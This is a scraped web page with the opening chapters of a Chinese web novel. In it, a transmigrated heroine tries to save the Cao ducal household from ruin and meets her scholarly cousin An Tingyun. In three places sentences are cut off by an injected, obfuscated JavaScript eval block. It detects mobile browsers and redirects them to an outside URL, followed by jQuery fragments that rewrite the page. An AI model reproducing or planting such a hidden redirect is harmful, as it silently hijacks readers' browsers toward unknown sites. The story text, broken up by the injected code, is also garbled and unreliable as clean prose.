《表哥他心有猛虎》 1. 谏姨娘巧避祸端 入樊笼魂归曹府 林莹穿书了。 她歪在一张罗汉床上，微微发愣。 恍惚打量着四周，床被一道屏风隔开，透过屏风，隐约可见窗前摆着一张梨花木书案，案上摆着一摞书，各色家具放得整整齐齐。 这般精致奢华的光景，原该是梦里也难见的。 可她知晓，她穿进的，是一本讲尽曹府兴衰的书，而且成了府里最不起眼的五姑娘——曹晚书。 书里的鲁国公府曹家，赫赫扬扬一甲子，末了落得个树倒猢狲散的下场，满门抄斩，尸骨无存。 而曹晚书，下场最为凄惨。 她老爹曹望，为了十两碎银，就将亲生女儿卖去青楼做了红倌人。待到红颜老去，百病缠身，又被随手扔去乱葬岗，叫天不应，叫地不灵。 她不禁紧咬银牙，手捏紧衣角，心底下发狠誓：我绝不要落得这般下场！ 正想着，一个梳着双环髻的小丫头，捧着黑漆托盘，踩着小碎步过来：“五姑娘，您可算醒了。快趁热喝了这碗金丝红枣桂圆粥吧，柳姨娘还在屋里候着您呢。” 这曹晚书是庶女，生母便是柳姨娘。上头有两位嫡出姐姐，自小就瞧她不顺眼，动辄打骂欺辱。 偏偏原主性子又是蛮横冲动的，在府里没半分体面，谁都能踩上一脚。 林莹敛了心神，接过粥碗，三两口喝净。 转眼又围上来四五个丫鬟，替她梳洗打扮。收拾妥当了，才跟着丫鬟往柳姨娘的院子去。 进了柳姨娘的屋子，便见柳静钗歪在榻上，见她进来，便蹙了蹙眉，嗔道：“你这孩子，可是磨磨蹭蹭的，叫我等得花儿都谢了。” 曹晚书福了福身，语气平和：“小娘唤女儿来，可是有什么事？” 柳姨娘拉过她的手，压低了声音道：“你大姐姐的亲事有着落了。你猜猜，是哪家？” “女儿愚钝，猜不着，还请小娘明示。” “是襄阳王。”柳姨娘又道，“如今东宫之位悬而未决，你大姐姐若真嫁了襄阳王，他日他若得了势，宋夫人还不得把咱们娘俩磋磨死？” 她说着，见曹晚书怔怔的，便恨铁不成钢地晃了晃她的肩膀：“我的儿啊，你可得争口气！” 曹晚书心里一阵发紧，原著里曹家覆灭的根由，正是这桩亲事。 大姐姐嫁入襄王府没几年，官家便立了瑞王为太子。襄阳王心有不甘，起兵谋反，兵败之后，曹家被连根拔起，满门获罪。有的进了大狱，有的被流放，凄惨之状，难以言表。 “你发什么呆呀？”说着，柳姨娘拿起帕子，呜呜咽咽地哭了起来。 曹晚书道：“这亲事绝不能成。” 柳姨娘一愣：“可那是王府，老爷和夫人对这门亲事都非常满意。” “如今东宫未定，襄阳王是众矢之的。此时联姻，曹家便等于押上了全副身家。赢了，或许富贵滔天；可若输了，便是满门倾覆。小娘，您想过流放千里的日子吗？” 柳姨娘被她的话吓得一个哆嗦，脸色发白：“那该如何是好？难道要让你大姐姐出丑，坏了名声？” “不可。”曹晚书摇头，“损了姐姐的名声，便是损了曹家所有女儿的名声，那是杀敌一千，自损八百的蠢办法。我们要做的，是让这婚事自然而然地不成，最好，是让父亲自己打消念头。” “这谈何容易。”柳姨娘觉得女儿在异想天开。 “父亲看重家族兴衰，胜过一时富贵。小娘，您只需在父亲面前，如此这般说……” 她将襄阳王可能带来的风险，以及暂不站队，静观其变的稳妥之道，条分缕析地教给柳姨娘。 柳姨娘听着听着，有些惊异。她从未想过，自己这个平日里蛮横冲动的女儿，还有这般透彻缜密的心思。 她重重地点了点头：“好，娘听你的。” 是夜，曹望照旧来了柳姨娘的住处。往日里，二人总要温存半晌，说些体己话。可今夜，柳静钗一直垂着头，不住地叹气，眉间愁云不散。 曹望本待要她服侍，见她这副模样，便自己解了外袍，挂在衣架上，挨着她坐下，问道：“你这是怎么了？一脸的愁眉不展。” 柳姨娘轻轻摇头，声音怯怯的：“奴家…奴家不敢说。” “你我之间，还有什么不能说的？”曹望掀开被子躺下，“但讲无妨。” 柳姨娘这才抬起头，眸光里满是忧虑：“奴家虽是个妇道人家，没读过什么书，可也知道，朝堂之事，风云变幻。如今官家不立太子，诸位王爷之间，怕是早已暗流涌动。襄阳王看着势头好，可谁能保准他日后能成大事？咱们曹家，此时万万不能和任何一位王爷扯上干系，否则，他日怕是要惹来大祸啊。” 这话刚落，曹望便坐起身，指着她斥道：“胡闹！朝堂之事，也是你能妄议的？” 柳姨娘不慌不忙，依旧柔声细语：“老爷息怒。奴家只是想着，若襄阳王他日败了，起兵谋反的罪名，岂是咱们曹家能担待的？” 这些利害，曹望何尝没有想过？ 只是襄阳王对这门亲事十分上心，若是贸然回绝，不仅扫了王爷的颜面，曹家也要沦为天下人的笑柄。得罪了襄阳王，往后的日子，怕是举步维艰。 “你往日里，可从不屑说这些。”曹望皱着眉，满心疑惑。 柳姨娘依偎过去：“奴家也是曹家的人，曹家好，奴家才能好啊。” “你头发长，见识短，鲁国府的事，轮不到你操心。”曹望不耐烦地挥挥手，“歇了吧。” 柳姨娘却不依，又晃着他的胳膊，娇声道：“老爷，您在朝堂多年，这些道理，比奴家明白得多。大姑娘的亲事，八字还没一撇呢。咱们只消对外说，大姑娘早已许了人家，这不就成了？” 曹望闭着眼，没应声，心里早已翻江倒海。柳姨娘的话，句句都戳在了他的心坎上。 在这储位未定的关头，盲目站队，实在是险棋。 第二日清晨，曹望在柳姨娘屋里用早膳。曹晚书早早地候在一旁，亲自布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202113|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜，又端上一碟新做的梅花糕，模样精巧，香气扑鼻。 原著里的曹晚书，心高气傲，从不屑讨好长辈，对这父亲更是不假辞色，也难怪曹望待她薄情。如今林莹占了这身子，自然要改改路数。 曹望尝了一口梅花糕，赞道：“味道不错。你这丫头，倒是长大了，知道孝顺爹爹了。” “父亲养育女儿一场，女儿孝顺爹爹，本就是天经地义。”曹晚书说着，又往他碗里夹了一筷子青菜，眉眼弯弯的，瞧着乖巧得很。 柳姨娘在一旁看着，满心欣慰。往日里，她磨破了嘴皮子，劝女儿去讨老爷的欢心，女儿总是嗤之以鼻。如今这般模样，真是难得。 她见曹望心情好，便趁热打铁道：“老爷，咱们晚儿也不小了，再过两年，便要及笄了。您可得多上点心，替她谋划谋划前程。” 曹晚书心里暗道不好。 这曹望，可是个视财如命，寡情薄义的。让他替自己挑夫婿，怕是要把她推入火坑。 曹望慢悠悠放下碗筷，惬意地往椅背上一靠，说道：“晚儿年纪尚小，且她上头还有两位姐姐，都还待字闺中呢。” 话声刚落，柳姨娘便急切反驳道：“那金丫头和玉丫头，可都是夫人亲生的。夫人挑选女婿，必定先紧着自己的亲女儿。” 话未说完，曹晚书实在听不下去，急忙拿起一块糕点，轻轻塞到柳姨娘嘴边，阻拦道：“小娘，虽说我并非夫人亲生，可也是在她房中养大的。我既尊称她一声母亲，夫人自然不会亏待我。” 曹望听了，不住点头，对女儿这番话甚是赞赏。紧接着，又开口道：“咱们山东老家，有个远房亲戚家的外甥，不日要来京城赶考，届时可能会在咱们府上借住些时日。那孩子不仅聪慧过人，模样还出众。十二岁便考中秀才，十七岁中了举人，可是当地有名的神童，人人都说他有宰相之才。” “什么宰相之才，不过是个穷酸举子罢了。”柳姨娘忍不住奚落道，话一出口，才回过神，满脸惊讶，“老爷莫不是想把晚儿许配给这个穷酸举子？” “休要这般贬低，我朝最重读书人，那孩子将来必定前程似锦。” 曹望瞥了一眼一旁默默不语的曹晚书，问她道，“晚儿可还记得，在山东老家时，曾见过的那位二表哥，名叫安亭蕴。你们小时候还一起玩耍过几日，他还带你上山抓过兔子呢。” 曹晚书刚穿进这本书来不久，哪里记得什么二表哥，只能无奈摇摇头。 曹望本就不喜柳姨娘这副看不起人的模样，一大早的好心情，瞬间消散殆尽。没坐多久，便借口有公务在身，匆匆出门去了。 次日清晨，鲁国府的小厮前往码头接人。听闻，来的正是山东老家远房的二表哥安亭蕴，曹晚书前些日子听曹望提过他。 一家人齐聚正厅，曹家老太太端坐上首，头戴抹额，慈眉善目，手中捧着汤婆子暖手。 曹老太太与宋夫人婆媳二人正聊得开心，此时小厮前来通报，说安亭蕴到了。 2. 亭蕴初到鲁国府 安亭蕴投亲曹府 曹府上下诸人目光皆齐刷刷投向门外。 只见一位风尘仆仆的少年郎掀开帘栊，款步而入。 他身量颀长，身着一袭圆领袍。眉峰温润如远山含黛，眼眸清亮似秋水横波，鼻梁直挺，唇线柔和。一眼望去，便知是个饱读诗书的温厚君子。 安亭蕴趋步上前，对着上首曹老太太、曹望公、宋夫人等，依次打恭作揖，进退周旋间行云流水，言谈举止里，满是温文尔雅的大家气度。 曹老太太待他在西侧椅子上坐定，满面堆笑问道：“你母亲身子可还康健？” 安亭蕴唇边噙着一抹浅笑道：“家母日日汤药不离，如今已见好转，尚能下床走动几步了。” 曹望捻着胡须，对他的赞赏之意溢于言表，颔首道：“早闻你敏而好学，小小年纪便有这般才学，当年昭文馆吕大学士，也不过十三岁得中秀才罢了。” 安亭蕴脸颊微微泛红，敛眸垂目，谦逊回禀：“吕相爷德才兼备，博古通今，实乃千古楷模。晚生虽不能至，然心向往之。” 曹望站起身来，将三个儿子拉至跟前，向安亭蕴引荐：“这是我家三个不成器的犬子，日后功课上，还得劳你多费心教导。” 曹辕、曹舆、曹轼三兄弟，齐齐对着安亭蕴拱手作揖，齐声唤道：“二表哥。”安亭蕴忙起身拱手还礼，神色谦和。 此时，曹家四位姑娘，也由宋夫人身边的邹妈妈从屏风后引领而出。 曹金书、曹玉书姐妹俩，悄悄抬眸偷觑了安亭蕴一眼，顿时双颊绯红，含羞带怯地敛衽行了万福礼。 曹晚书也好奇地抬眼打量这位传说中的神童二表哥，果然不负盛名，生得一副好皮囊。 “妹妹们安好。”安亭蕴嘴角上扬，露出一抹温润笑容，说罢从包里取出早已备好的锦盒，依次递到四位姑娘手中，“千里鹅毛，聊表心意。” 曹晚书接过锦盒，心里暗自揣测，里面约莫是支上好的湖笔。她笑盈盈地随两位姐姐一同道谢。 安亭蕴目光掠过曹晚书，心头不觉微微一动。 几年未见，这丫头已长这般大了。 他记得上次相见时，她还是个总角垂髫的小丫头，怯生生跟在宋夫人身后唤他“哥哥”，只因年纪小，口齿不清，总把“哥哥”唤作“得得”，如今回想起来，仍觉又好笑又可爱。 外头，鹅毛大雪纷纷扬扬，漫天遍野一片银白。 曹府上下的丫鬟婆子、小厮们都为着春节忙碌，脚步匆匆，无片刻停歇。 宋夫人请了城中有名的杂剧戏班子，又吩咐小厮往樊楼采买珍馐佳肴。门外爆竹声此起彼伏，接连不断，一派热闹喧阗。 安亭蕴出身并非富贵之家，家中仅靠几间铺子维持生计，母亲又常年汤药不断。 以往过年，不过比平日多添几样荤菜罢了。如今身处曹府，见这春节光景，不仅大摆宴席，更请了戏班子登台，吃的是山珍海味，穿的是绫罗绸缎，这般奢靡光景，直如神仙日子一般。 他寄人篱下，难免有些拘谨，只敢默默缩在角落。忽见身旁也有个小小的身影，同他一般不愿融入热闹人群，仔细一看，是曹家的五妹妹曹晚书。 戏班子的掌班捧着戏单，趋步至曹老太太跟前，恭恭敬敬递上：“老太太，您老人家拣几出喜欢的听？” 曹老太太笑容满面地接过，瞧见戏单首页便是《琵琶记》。 宋夫人也凑上前去看了，笑着提议：“不如就听《琵琶记》吧？” 曹老太太摇了摇头，叹道：“这《琵琶记》我听了不下几十回，每次听都气蔡伯喈，一朝金榜题名，便忘了结发妻子，抛妻弃母，好不混账！不过他最终落得个五雷轰顶的下场，倒也大快人心。” 这话恰好被躲在角落里的曹晚书听了去。她轻轻用胳膊肘碰了碰身旁的安亭蕴，半开玩笑道：“二表哥，你日后可千万别学蔡伯喈，中了状元便抛妻弃子，不然可是要遭五雷轰顶的。” 安亭蕴唇角微微勾起，轻声回道：“五妹妹说笑了，我既无结发妻子可抛，更断断做不出那般狼心狗肺之事。” 终于盼到开宴，曹晚书望着满桌的珍馐美味，脑子里除了奢侈二字，再想不出其他词语来形容。 她悄悄唤来负责采买的小厮询问，方知单单这几桌宴席，便花去了二百多两银子。 且不说这饭菜，单是请戏班子的酬劳，便已是一笔不菲的开销，再加上府中布置、给姑娘哥儿们制备新衣裳，桩桩件件皆是大把银子往外淌。 照这般光景下去，曹家即便不遭抄家之祸，这般入不敷出的奢靡耗费，家底迟早也得败干净了。 偌大的鲁国府，不单要养着曹家的子女，更有一众丫鬟婆子、小厮下人。这过年时节，每人还得给二三两银子的节钱，好让他们在府中安心当差。 不过这些都还只是次要的。 关键在于，曹家如今还有谁能撑得起门户呢？想当年曹老国公年轻时，驰骋沙场，南征北战，乃是大宋的开国功臣，因功勋卓著，被封为鲁国公。老国公病重之时，官家尚且亲自驾临府中探望。生前万民伞、匾额无数，死后更是配享太庙，何等荣耀。 按照朝中惯例，大臣去世，官家辍朝一日即可，可曹老国公薨逝时，官家直接辍朝两日，以表敬重。 如今呢？只剩曹望公承袭爵位。他膝下三子，庶出长子曹辕勤勉好学，嫡出的次子却放荡不羁，整日只知贪玩享乐，还嫉妒曹辕功课比自己好，常常在背后使些阴私伎俩。 这曹家内部早已暗流涌动，长此以往，怕是要出大乱子。唯有兄弟和睦，齐心协力，发奋攻读，考取功名，曹家才有重振之日啊！ 曹晚书想到此处，不禁重重叹了口气。坐在她身旁的安亭蕴察觉到她的异样，不由得侧目看了她一眼，满心疑惑。 钟鸣鼎食的世家小姐，为何偏生总是唉声叹气，愁容满面？ 老太太听戏听得高兴，忍不住拍手叫好，命身边的田妈妈给戏子们赏钱。 曹家三位哥儿早已坐不住了，尤其是三公子曹舆，一会儿探着脑袋往门外张望，一会儿又在席前踱来踱去，坐立难安。 曹老太太如何看不出他的心思，便开口道：“你们三个，陪着蕴哥儿，带姐姐妹妹们出去逛逛吧。” 宋夫人耳朵尖，闻言便给身后的邹妈妈使了个眼色，邹妈妈会意，悄悄从一旁退了出去。 汴京城的除夕夜，当真是热闹非凡。尤其是宣德门前，人山人海，摩肩接踵，想要挪动一步，都得侧着身子先挤过右肩，再挪过左肩，稍不留神，鞋面上便多了几个黑印子。 宣德门下搭了座山棚，听闻还请了怡红楼的张行首前来唱曲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202114|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸亏曹家哥儿姐儿们来得尚早，不过一盏茶的功夫，这可容上千人的山棚便已座无虚席。 曹舆最为兴奋，扯着身旁的曹辕、曹轼便嚷道：“这张行首我在怡红楼见过，手如柔荑，肤如凝脂，当真貌若天仙。可惜是个清倌人，不然我早便重金为她梳拢了。” 他说得口水都要流下来，曹玉书最是看不惯他这副登徒子模样，忍不住白了他一眼，低声啐道：“不过是些闲花野草罢了。” 曹舆脸上的笑容褪去，勃然大怒，站起身来：“死丫头，你胡说什么！张行首才情卓绝，你懂什么，也配诋毁她！” 曹金书连忙摆出大姐姐的姿态，瞪了曹舆一眼：“行了，快坐下吧，这般当众喧哗，成何体统，莫要丢人现眼。” 恰在此时，张行首怀抱琵琶，款步走上台来，在凳上坐定，轻拢慢捻，婉转歌喉如枝上莺啼，清越动人。 一曲唱罢，台下掌声雷动，叫好声不绝于耳，其中尤以曹舆喊得最响。 张行首端起一个小托盘，向观众席走来。台下看客纷纷捧场，银子如泥沙般一把把往托盘里扔去。 曹舆兴高采烈地冲到张行首面前，咧嘴傻笑。 张行首瞥了他一眼，将托盘递到他跟前，娇声问道：“官人，奴家的曲子唱得可还入耳？” “好听，自然是好听！” 张行首媚眼如丝，直勾勾望着他，捂嘴娇笑道：“想要再听奴家唱下去，可得给些赏钱呢~” “哎哟，倒把这茬忘了！”曹舆一拍脑门，伸手摸向腰间，空空如也。来时太过匆忙，忘了带钱袋子。他又往袖中探去，亦是一无所获。 曹舆尴尬地挠了挠头，讪讪道：“不巧得很，来时匆忙，忘了带钱袋子。改日我亲自去怡红楼，给你捎一袋子白银便是。” 张行首见他身着银白狐皮袄，头戴红玉冠，一身贵气，显然不信他的话，嗤笑道：“噗，官人莫要哄奴家开心了。你坐在最前排，方才叫得最是响亮，如今奴家来讨赏，你倒一毛不拔了？” “不不不，并非我舍不得，实在是忘了带！”曹舆急得满头大汗，目光急切地望向曹家兄妹，却无一人理会他。 曹玉书打了个哈欠，倦意上涌，不耐烦地嚷嚷着要走：“唱的什么东西，咿咿呀呀的，倒不如那边的女子相扑来得热闹。” 说罢便站起身要走，回头见无人跟来，不由得有些恼怒：“你们走不走？再不走我便一个人回去了！” 曹晚书这会子已打盹睡醒三四回，闻言连忙应道：“四姐姐，我跟你一起去。” 曹玉书鼻子一翘，轻哼一声：“这还差不多。” 二人刚要转身，便听得身后传来争执之声。 “拿不出银子就别充大爷，明明是个穷酸，偏要装模作样。” 曹舆气得双目圆睁，抡起拳头便要上前：“你说谁呢！睁大你的狗眼看看，我乃鲁国府曹家三公子，汴京城有头有脸的人物，哪个不认得我！” 那人愈发挑衅：“既是曹家三公子，怎么连几个赏钱都拿不出来？莫不是个空架子吧？” “你还敢胡言，看我不割了你的舌头！” 曹舆气得浑身发抖，一拳便挥了过去。谁知话音刚落，不知从哪里窜出几个小厮，将一个麻袋套在他身上，扛起便往外跑，转眼便消失在人群之中。 3. 晚书巧言解僵局 逞顽心公子惹祸 出了这档子事，曹家兄妹与安亭蕴哪里还有半分逛兴，慌忙登上马车，循着那几个小厮的踪迹追了上去。 谁料一路追着，直直追到了鲁国府的门首。原来那几个套麻袋的小厮，都是曹府里的人。 出乎意料的是，这都是宋夫人一早安排好的。她素日里深知自己这个儿子的脾性，料定他出门定会惹是生非，早早便让邹妈妈吩咐妥当人手跟着。 只待他闯出祸来，不管三七二十一，直接套了麻袋带回府中，省得成日价在外头丢人现眼，闯出更大的乱子。 宋夫人将房门紧闭，把曹舆拉到跟前狠狠训了一通。可曹舆这厮，是半句也没听进去，反倒梗着脖子，句句顶嘴，气得宋夫人伏在桌上，哭得撕心裂肺，连声骂他是个混账畜牲。 屋里众人乱作一团，都忙着上前拉架劝解，唯有曹晚书与安亭蕴，悄无声息地立在院内。 夜已深，早过了后半夜。偌大的曹家府邸，院落连绵，回廊九曲，绕得人眼花缭乱。 安亭蕴初来乍到，认不清路径，只好央了曹晚书引路。 晚书手提一盏羊角灯笼，走在前面，不时回过头来，轻声道：“今日府上这般鸡飞狗跳，倒教你见笑了。” 安亭蕴缓步跟在她身后，温声笑道：“五妹妹说哪里话，府上意趣天然，倒不觉枯索。” 晚书听了，心下暗暗哂笑，原以为这位表兄是个不通世故的迂腐书蠹，不想言语间还挺玲珑通透。 一时之间，周遭静了下来，唯有虫鸣唧唧，伴着晚风拂过草木的簌簌轻响。 晚书觉有些局促，便又寻了话头问道：“听闻二表哥自幼便是神童，四书五经，早已烂熟于心了吧？” 安亭蕴谦和地笑了笑：“不过略识之无罢了，谈何烂熟。”说罢，他侧过头，反问她：“五妹妹平日里，都读些什么书？” 曹晚书掩唇轻笑，眉眼弯弯：“妹妹资质愚钝，不过认得几个字罢了，哪里敢说读过书呢。” 安亭蕴何等通透，立时便听出了她的言外之意，忙笑道：“惭愧惭愧，愚兄也不过是草草翻过几卷罢了。” 曹晚书听他这般说，再也忍不住，以帕掩口：“二哥哥，草草翻过可不成。待到他日金殿传胪，若是名落孙山，那才真真要惭愧呢。” 安亭蕴忍不住莞尔，佯作薄怒，道：“你这丫头，倒是会拿我打趣。若我名落孙山，定要赖在你身上。到那时，我便日日来寻你，要你赔我一个状元名头，看你还敢不敢这般取笑我。” 曹晚书这才惊觉自己说错话，失了分寸，连忙告饶：“是妹妹失言了，你莫要怪罪。二哥哥天资聪颖，又肯用功，他日必定高中，名扬天下。” “你这促狭的小妮子。”两人一路说说笑笑，转瞬便到了安亭蕴暂住的院落门前。 “二哥哥早些安歇吧，妹妹告退了。”晚书说着，便要提灯转身。 “妹妹慢走，仔细脚下。”安亭蕴送她到院门首，殷殷叮嘱道。 曹晚书微微颔首，提着灯笼，款步而去。 安亭蕴倚着门框，目送那一点灯火，渐渐隐没在夜色里，直至杳然不见，犹自立于阶前。 夜风拂过衣衫，唇边一缕笑意未散，不知站了多久。 是夜，四姑娘曹玉书来到宋夫人的房中。母女二人相对而坐，喁喁低语，从襄阳王与大姐姐的婚事，渐渐便说到了安亭蕴身上。 一提起安亭蕴，曹玉书的脸颊便飞上两朵红云。 宋夫人一眼便察觉了女儿的异样，她嗔骂了一声“死丫头”，伸手夺过她手里的针线，随手扔到一旁，开门见山问道：“我问你，你可是对安亭蕴动了心思？” “才没有呢。”曹玉书坐直了身子，强装出一副大小姐的矜持模样，摇头晃脑的。一双眼睛，早已羞得不敢去看宋夫人。 宋夫人也是从这个年纪走过来的，女儿心里打着什么算盘，她这个做娘的，岂会不知？ 宋夫人语重心长地劝道：“听娘一句劝，你最好是死了这条心。你且想想，咱们曹家是什么人家？那安家又是什么门第？不过是个布衣寒门，沾了点和咱家八竿子打不着的亲戚关系，才来府里打秋风罢了。你爹爹念他读书上进，才容他暂住几日，待到春闱放榜，他便要卷铺盖走人了。” 曹玉书依旧有些不甘心，低声辩解道：“可是我朝最重读书人，二表哥十二岁便中了秀才，此番省试，必定能高中。他日若是入朝为官，前程定然不可限量啊。” 宋夫人叹了口气，缓缓道：“你爹爹说了，这两年官家便要立定太子人选了。不管将来是谁继承大统，你都是要进宫去的。我的儿，你可万万不能在这个时候犯糊涂。那安亭蕴有什么好？不过是有几分文采，生了一副好皮囊罢了。你若是能入宫为妃，可就能为咱们曹家，挣来泼天的富贵。” 曹玉书撇了撇嘴，满脸的不情愿：“母亲，女儿便是死，也誓不与人为妾，哪怕是皇帝的妾也不行！是，女儿入宫为妃，是能给曹家争光。可宫里的规矩森严，我可不想入那宫门，葬送了自己的一生。” 宋夫人听了女儿这话，也是一阵沉默。她太了解自己的女儿了，这般刚烈执拗的性子，真要入了宫，怕是连怎么死的都不知道。 她沉思半晌，终是下定了决心，无论如何，都要好好教教两个女儿宫里的规矩，也好让她们多个傍身的本事。 可她自己，这辈子也未曾踏进宫门半步，不晓得宫里的那些规矩章程。 无奈之下，次日一早，她只好硬着头皮，去求曹老太太。 曹老太太乃是官家亲封的郡主娘娘，自幼便常入宫伴驾，对那些宫廷礼仪，自然是了如指掌。这几个姑娘，毕竟都是她的亲孙女，教她们些规矩，也是分内之事。 可任凭宋夫人好话说尽，曹老太太迟迟不肯松口。 宋夫人心中焦急，不由得放低了姿态，苦苦哀求道：“婆母，儿媳求求您了，金丫头和玉丫头，可都是您的亲孙女啊，您就发发慈悲，教教她们吧。” 老太太没好气地瞪了她一眼，沉声道：“我曹家的孙女，难道就只有这两个吗？晚丫头和兰丫头，就不是我的亲孙女了？” 宋夫人被老太太一语点醒，这才想起这两个丫头，连忙打圆场道：“婆母恕罪，儿媳失言了。那五丫头和兰丫头，她们……她们日后又不进宫，哪里用得着学这些规矩。” 这话一出，更是惹得老太太动了怒，她冷哼一声，厉声道：“难道只有进宫，才用得着学规矩吗？她们日后总要出嫁，总要为人主母，掌管中馈。若是连半点规矩都不懂，岂不是要任人耻笑，丢尽我曹家的脸面！” “是是是，婆母教训的是。”宋夫人连连点头，不敢再多言，忙不迭地让身后的邹妈妈，赶紧去把四位姑娘都叫来。 不多时，四位姑娘齐齐来到老太太房中，敛衽行礼，恭恭敬敬地立在跟前，听候训示。 “身为女子，首要的便是勤于蚕桑、精于织绩、擅于裁缝与饮膳。这些女工之事，你们可以不用亲手操劳，但必须件件都会。”老太太放下手中的茶碗，目光扫过四个孙女，又缓缓道，“其次，便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202115|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是礼仪、管家、点茶、插花这些本事。这些东西，日后你们嫁了人，当家理事，样样都用得上。” 曹晚书听得暗暗咋舌，这些东西，她只在书本上见过，不曾实践。 “这些本事，我会慢慢教给你们。都坐下吧。”老太太摆了摆手，语气缓和了些许。 四位姑娘再次行礼，齐声应道：“是。” 待她们各自落座，老太太余怒未消，又忍不住告诫道：“你们姐妹四人，以后应该互敬互爱，同心同德。切不可学你们的母亲和婶娘那般，离心离德，厚此薄彼。” 曹晚书听罢，立时便明白了其中的关节。 这屋里的奴仆丫鬟，多半是宋夫人的眼线，老太太这番话，明着是训斥姐妹四人，实则是说给宋夫人听的。可这话传出去，自己这个不尴不尬的身份，怕是又要被推到风口浪尖上了。 曹晚书心念电转，连忙讪讪一笑，脆声说道：“祖母，其实是孙女偷懒耍滑，昨日特意求了母亲，让她不要叫我来学规矩的。不过幸亏母亲还是把我送来了，祖母这番教导，真是字字珠玑，孙女受益匪浅。若是今日没来，那才真是亏大了呢！” 一番话，说得老太太眉开眼笑，忍不住点着她的额头，笑骂道：“你这个滑头的小猢狲。” 见老太太消了气，曹晚书这才暗暗松了口气。 陶然轩内，宋夫人端坐着，听邹妈妈回话。 “她当真这般说？”宋夫人面露惊讶，有些不敢置信，又追问道。 邹妈妈笃定地点了点头：“千真万确，老太太屋里的檀香姑娘，亲口跟我说的，一字不差。” 宋夫人听罢，忍不住笑道：“这个五丫头，倒是没白养她一场，还知道为我解围。她这话说得，既不得罪老太太，又把老太太哄得眉开眼笑，倒不像是个小孩子能说出来的话，真是个机灵鬼。” 邹妈妈在一旁附和道：“可不是嘛，谁能料到，她一个小姑娘家，还有这般玲珑心思。不过她能在老太太跟前，替夫人说句好话，倒是真让人刮目相看。” 宋夫人轻哼一声：“幸亏她没随了她那不知廉耻的亲娘。说到底，还是我教导有方，才把这几个姑娘，调教得这般大方得体。” 邹妈妈连忙趁热打铁，又道：“夫人，奴婢还听说一件事。前日柳姨娘在老爷跟前说您的坏话，您猜，五姑娘是怎么做的？” 宋夫人顿时来了兴致，瞪大眼睛，凑近了问道：“她是怎么做的？” “五姑娘当场就把柳姨娘数落了一通，还在老爷面前，说了您一大堆的好话。说您虽不是她的生母，却待她视如己出，真心实意地为她好，从来不曾亏待过她。” 宋夫人听完，心里头吃了蜜一般甜，喜滋滋地说道：“这孩子，总算还有点良心。” 曹家四位姑娘，在老太太屋里，足足拘了十数日，日日跟着学那些繁琐的规矩，只学得头昏脑涨，叫苦不迭。 好不容易捱到正月十五将近，才得了老太太的恩典，准许她们各自回房，松散几日。 曹晚书早已渐渐适应了这里的生活，虽没有手机消遣解闷，可闺阁之中，打发时间的玩意儿却也不少。围棋、叶子戏、双陆、投壶，花样百出，各有各的趣味。 唯有一样，她那爱睡懒觉的老毛病，是半点没改。这日，她睡得酣甜，窗外天色大亮。 房门被轻轻推开，两个身影蹑手蹑脚地走了进来。这两个促狭鬼相视一笑，又轻手轻脚地摸到床前。 曹玉书屏声静气，瞅准时机，猛地伸手，将锦被一把掀了开来！ 4. 三书调戏安亭蕴 扎花灯闺阁竞灵巧 “哎哟！”曹晚书身上骤然一凉，惊得一个激灵坐直起来，睡眼惺忪，鬓发蓬松。定睛一瞧，只见曹金书、曹玉书两个，已是笑得花枝乱颤，捂着肚子直不起腰。 “姐姐，好姐姐们，你们可别闹我了。”“曹晚书揉着眼睛，嘟着嘴，腮帮子鼓鼓的，显是没睡饱，带了几分娇憨的恼意。 见她没睡醒闹起脾气来，曹玉书也不笑了，上去拍了拍她道：“五妹妹，别睡了，今儿正月十五，外头热闹着呢，咱们也出去瞧瞧。” “好不容易得闲能睡个懒觉，姐姐们就让我再睡会儿罢。” 昨个曹晚书跟丫头们打牌打到了半夜，这才睡了没几个时辰，就被他们喊起来，此时瞌睡虫上了脑，昏昏沉沉的。 “这丫头，生了一身懒骨。”曹金书拿她没有办法，只好上去帮她先盖好了被子，又过去挽着曹玉书的胳膊，“走，咱们俩今儿晚上去看花灯，不带她，让她在屋子里待一整天。” 曹晚书曾经只在书中了解过东京汴梁的繁华，每逢佳节，外面都格外的热闹。 除夕那夜倒是出去长了见识，但因为曹舆在外头闹事，无奈折返回府，都还没能在外面好好的逛逛。 这次好不容易来了一个正月十五闹花灯，岂有不出去凑凑热闹之理？ 曹晚书瞬间清醒了过来，连忙把她二人给叫住：“二位姐姐等等我，我这就来。” 收拾好了行头，曹晚书便跟在两位姐姐屁股后面走着。这时，曹金书突然出了一个主意，说要去二表哥房里看看他在做什么。 曹金书与曹玉书都猜，依着安亭蕴的性子，此刻定是在苦读。 